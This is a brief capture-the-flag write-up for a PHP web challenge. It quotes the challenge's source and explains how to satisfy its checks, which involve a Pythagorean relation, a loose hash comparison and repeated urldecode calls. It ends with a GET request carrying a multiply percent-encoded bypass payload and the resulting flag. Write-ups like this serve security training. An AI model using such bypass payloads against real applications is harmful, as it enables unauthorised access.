# ▼▼▼ Mandatory PHP (Web:125pts)▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
http://159.89.166.12:14000/
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```0&&$d>0&&$d>$c&&$a==$c*$c+$d*$d) $s1="true"; else     die("Bye..."); if($s1==="true")     echo $flag1; for($i=1;$i<=10;$i++){     if($b==urldecode($b))         die('duck');     else         $b=urldecode($b); }     if($b==="WoAHh!") $s2="true"; else     die('oops..'); if($s2==="true")     echo $flag2; die('end...'); ?> Bye...```
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`$a==$c*$c+$d*$d`
↓a^2=c^2+d^2  (Right triangle)
for example,3, 4, 5 right triangle.(Right triangle)
Search brute force for the value a such that `(log10 ($ a ** (0.5))) = 5`
val1=AAKFu 　⇒　`1e10ce0c3593db31892d38b72fac23408bd056ffafcf9efe50374d328e8bd6b4`
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GET /?val1=AAKFu&val2=%2525252525252525252557oAHh!&val3=3&val4=4
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`pctf{b3_c4r3fu1_w1th_pHp_f31145}`